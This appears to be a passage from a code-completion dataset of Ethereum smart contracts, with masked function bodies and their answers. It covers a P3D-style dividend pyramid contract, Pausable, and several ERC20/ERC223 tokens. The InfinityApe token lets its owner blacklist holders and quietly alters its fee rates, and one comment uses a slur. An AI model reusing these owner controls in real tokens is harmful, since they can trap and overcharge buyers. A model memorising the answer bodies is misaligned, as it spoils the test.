// update dividend trackers payoutsTo_[_customerAddress] -= (int256)(profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256)(profitPerShare_ * _amountOfTokens); // fire event emit Transfer(_customerAddress, _toAddress, _amountOfTokens); // ERC20 return true; } function purchaseInternal(address _sender, uint256 _incomingEthereum, address _referredBy) purchaseFilter(_sender, _incomingEthereum) internal returns(uint256) { uint256 purchaseAmount = _incomingEthereum; uint256 excess = 0; if (totalInputETH_ <= initialBuyLimitCap_) { // check if the total input ETH is less than the cap if (purchaseAmount > initialBuyLimitPerTx_) { // if so check if the transaction is over the initial buy limit per transaction purchaseAmount = initialBuyLimitPerTx_; excess = SafeMath.sub(_incomingEthereum, purchaseAmount); } totalInputETH_ = SafeMath.add(totalInputETH_, purchaseAmount); } // return the excess if there is any if (excess > 0) { _sender.transfer(excess); } // buy P3D tokens with the entire purchase amount // even though _P3D.buy() returns uint256, it was never implemented properly inside the P3D contract // so in order to find out how much P3D was purchased, you need to check the balance first then compare // the balance after the purchase and the difference will be the amount purchased uint256 tmpBalanceBefore = _P3D.myTokens(); _P3D.buy.value(purchaseAmount)(_referredBy); uint256 purchasedP3D = SafeMath.sub(_P3D.myTokens(), tmpBalanceBefore); return purchaseTokens(_sender, purchasedP3D, _referredBy); } function purchaseTokens(address _sender, uint256 _incomingP3D, address _referredBy) internal returns(uint256) { updateSubdivsFor(_sender); // data setup uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingP3D, buyDividendFee_), 100); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedP3D = SafeMath.sub(_incomingP3D, _undividedDividends); uint256 _amountOfTokens = P3DtoTokens_(_taxedP3D); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if ( // is this a referred purchase? _referredBy != address(0x0) && // no cheating! _referredBy != _sender && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite P3D if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over their purchase _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_sender] = SafeMath.add(tokenBalanceLedger_[_sender], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; // really I know you think you do but you don't payoutsTo_[_sender] += (int256)((profitPerShare_ * _amountOfTokens) - _fee); // fire events emit onTokenPurchase(_sender, _incomingP3D, _amountOfTokens, _referredBy); emit Transfer(address(0x0), _sender, _amountOfTokens); return _amountOfTokens; } /** * Calculate token price based on an amount of incoming P3D * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function P3DtoTokens_(uint256 _P3D_received) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2 * (tokenPriceIncremental_ * 1e18)*(_P3D_received * 1e18)) + (((tokenPriceIncremental_)**2) * (tokenSupply_**2)) + (2 * (tokenPriceIncremental_) * _tokenPriceInitial * tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToP3D_(uint256 _P4D_tokens) internal view returns(uint256) { uint256 tokens_ = (_P4D_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _P3D_received = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_**2 - tokens_) / 1e18)) / 2 ) / 1e18); return _P3D_received; } // This is where all your gas goes, sorry // Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } /** * Additional check that the address we are sending tokens to is a contract * assemble the given address bytecode. If bytecode exists then the _addr is a contract. */ function isContract(address _addr) internal constant returns(bool) { // retrieve the size of the code on target address, this needs assembly uint length; assembly { length := extcodesize(_addr) } return length > 0; } /** * Utility method to help store the registered names */ function stringToBytes32(string memory _s) internal pure returns(bytes32 result) { bytes memory tmpEmptyStringTest = bytes(_s); if (tmpEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(_s, 32)) } } /** * Utility method to help read the registered names */ function bytes32ToString(bytes32 _b) internal pure returns(string) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint256 i = 0; i < 32; i++) { byte char = byte(bytes32(uint(_b) * 2 ** (8 * i))); if (char != 0) { bytesString[charCount++] = char; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (i = 0; i < charCount; i++) { bytesStringTrimmed[i] = bytesString[i]; } return string(bytesStringTrimmed); } }
// setup data address _customerAddress = msg.sender; updateSubdivsFor(_customerAddress); if (_amountOfETH > 0 && _amountOfETH <= divsMap_[_customerAddress].balance) { divsMap_[_customerAddress].balance = SafeMath.sub(divsMap_[_customerAddress].balance, _amountOfETH); lastContractBalance_ = SafeMath.sub(lastContractBalance_, _amountOfETH); // transfer all withdrawable subdividends _customerAddress.transfer(_amountOfETH); // fire event emit onSubdivsWithdraw(_customerAddress, _amountOfETH); }
function withdrawSubdivsAmount(uint256 _amountOfETH) public
/** * Withdraws a portion of the callers subdividend earnings. */ function withdrawSubdivsAmount(uint256 _amountOfETH) public
9252
Pausable
_unpause
contract Pausable is Context { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } function _unpause() internal virtual whenPaused {<FILL_FUNCTION_BODY> } }
contract Pausable is Context { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } function paused() public view returns (bool) { return _paused; } modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } <FILL_FUNCTION> }
_paused = false; emit Unpaused(_msgSender());
function _unpause() internal virtual whenPaused
function _unpause() internal virtual whenPaused
75440
StandardToken
StandardToken
contract StandardToken is ERC20, ERC223 { using SafeMath for uint; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; function StandardToken() public {<FILL_FUNCTION_BODY> } function name() public view returns (string) { return _name; } function symbol() public view returns (string) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transfer(address _to, uint _value, bytes _data) public { require(_value > 0 ); if(isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value, _data); } function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
contract StandardToken is ERC20, ERC223 { using SafeMath for uint; string internal _name; string internal _symbol; uint8 internal _decimals; uint256 internal _totalSupply; mapping (address => uint256) internal balances; mapping (address => mapping (address => uint256)) internal allowed; <FILL_FUNCTION> function name() public view returns (string) { return _name; } function symbol() public view returns (string) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value); balances[_to] = SafeMath.add(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transfer(address _to, uint _value, bytes _data) public { require(_value > 0 ); if(isContract(_to)) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value, _data); } function isContract(address _addr) private returns (bool is_contract) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length>0); } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = SafeMath.sub(balances[_from], _value); balances[_to] = SafeMath.add(balances[_to], _value); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = SafeMath.add(allowed[msg.sender][_spender], _addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = SafeMath.sub(oldValue, _subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
_name = "RBToken"; // Set the name for display purposes _decimals = 18; // Amount of decimals for display purposes _symbol = "RBT"; // Set the symbol for display purposes _totalSupply = 1000000000000000000000000000; // Update total supply (100000 for example) balances[msg.sender] = 1000000000000000000000000000; // Give the creator all initial tokens (100000 for example)
function StandardToken() public
function StandardToken() public
48841
InfinityApe
_transfer
contract InfinityApe is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Infinity Ape | t.me/Infinityape"; string private constant _symbol = "INFIAPE \xF0\x9F\x8C\x8C"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 15; uint256 private _teamFee = 5; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private {<FILL_FUNCTION_BODY> } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
contract InfinityApe is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Infinity Ape | t.me/Infinityape"; string private constant _symbol = "INFIAPE \xF0\x9F\x8C\x8C"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 15; uint256 private _teamFee = 5; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } <FILL_FUNCTION> function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee);
function _transfer( address from, address to, uint256 amount ) private
function _transfer( address from, address to, uint256 amount ) private
67625
FCTV
mint
contract FCTV is StandardToken, MultiOwnable { using SafeMath for uint256; uint256 public constant TOTAL_CAP = 600000000; string public constant name = "[FCT] FirmaChain Token"; string public constant symbol = "FCT"; uint256 public constant decimals = 18; bool isTransferable = false; constructor() public { totalSupply_ = TOTAL_CAP.mul(10 ** decimals); balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, balances[msg.sender]); } function unlock() external onlyOwner { isTransferable = true; } function lock() external onlyOwner { isTransferable = false; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(isTransferable || owners[msg.sender]); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool) { require(isTransferable || owners[msg.sender]); return super.transfer(_to, _value); } // NOTE: _amount of 1 FCT is 10 ** decimals function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {<FILL_FUNCTION_BODY> } // NOTE: _amount of 1 FCT is 10 ** decimals function burn(uint256 _amount) onlyOwner public { require(_amount <= balances[msg.sender]); totalSupply_ = totalSupply_.sub(_amount); balances[msg.sender] = balances[msg.sender].sub(_amount); emit Burn(msg.sender, _amount); emit Transfer(msg.sender, address(0), _amount); } event Mint(address indexed _to, uint256 _amount); event Burn(address indexed _from, uint256 _amount); }
contract FCTV is StandardToken, MultiOwnable { using SafeMath for uint256; uint256 public constant TOTAL_CAP = 600000000; string public constant name = "[FCT] FirmaChain Token"; string public constant symbol = "FCT"; uint256 public constant decimals = 18; bool isTransferable = false; constructor() public { totalSupply_ = TOTAL_CAP.mul(10 ** decimals); balances[msg.sender] = totalSupply_; emit Transfer(address(0), msg.sender, balances[msg.sender]); } function unlock() external onlyOwner { isTransferable = true; } function lock() external onlyOwner { isTransferable = false; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(isTransferable || owners[msg.sender]); return super.transferFrom(_from, _to, _value); } function transfer(address _to, uint256 _value) public returns (bool) { require(isTransferable || owners[msg.sender]); return super.transfer(_to, _value); } <FILL_FUNCTION> // NOTE: _amount of 1 FCT is 10 ** decimals function burn(uint256 _amount) onlyOwner public { require(_amount <= balances[msg.sender]); totalSupply_ = totalSupply_.sub(_amount); balances[msg.sender] = balances[msg.sender].sub(_amount); emit Burn(msg.sender, _amount); emit Transfer(msg.sender, address(0), _amount); } event Mint(address indexed _to, uint256 _amount); event Burn(address indexed _from, uint256 _amount); }
